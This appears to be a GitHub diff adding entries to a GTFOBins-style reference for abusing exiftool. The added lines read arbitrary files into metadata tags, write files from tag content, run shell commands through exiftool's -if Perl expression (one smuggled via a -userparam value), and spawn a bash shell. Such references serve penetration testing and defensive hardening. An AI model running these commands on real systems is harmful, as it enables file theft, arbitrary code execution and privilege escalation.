File tree Expand file tree Collapse file tree 1 file changed +24
-0
lines changed Expand file tree Collapse file tree 1 file changed +24
-0
lines changed Original file line number Diff line number Diff line change @@ -8,14 +8,38 @@ functions:
88 OUTPUT=output_file
99 exiftool -filename=$OUTPUT $LFILE
1010 cat $OUTPUT
11+ - description : Exfiltrate file data via metadata tags
12+ code : |
13+ LFILE=file_read
14+ INPUT=input_file
15+ exiftool "-description<=$LFILE" --filename $INPUT
1116 file-write :
1217 - code : |
1318 LFILE=file_to_write
1419 INPUT=input_file
1520 exiftool -filename=$LFILE $INPUT
21+ - description : Write file from metadata tag's content
22+ code : |
23+ LFILE=file_to_write
24+ INPUT=input_file
25+ exiftool -description -W $LFILE --filename $INPUT
1626 sudo :
1727 - code : |
1828 LFILE=file_to_write
1929 INPUT=input_file
2030 sudo exiftool -filename=$LFILE $INPUT
31+ command :
32+ - code : |
33+ COMMAND=command_to_execute
34+ INPUT=input_file
35+ exiftool -if "system('$COMMAND');1" --filename $INPUT
36+ - description : Run system command and exfiltrate result via metadata tags
37+ code : |
38+ COMMAND=command_to_execute
39+ INPUT=input_file
40+ exiftool -userparam "inj=Test" -if "\$\$self{OPTIONS}{UserParam}{inj}=\`$COMMAND\`;1" '-description<$inj' --filename $INPUT
41+ shell :
42+ - code : |
43+ INPUT=input_file
44+ exiftool -if "system('bash')" $INPUT
2145---
You can’t perform that action at this time.
0 commit comments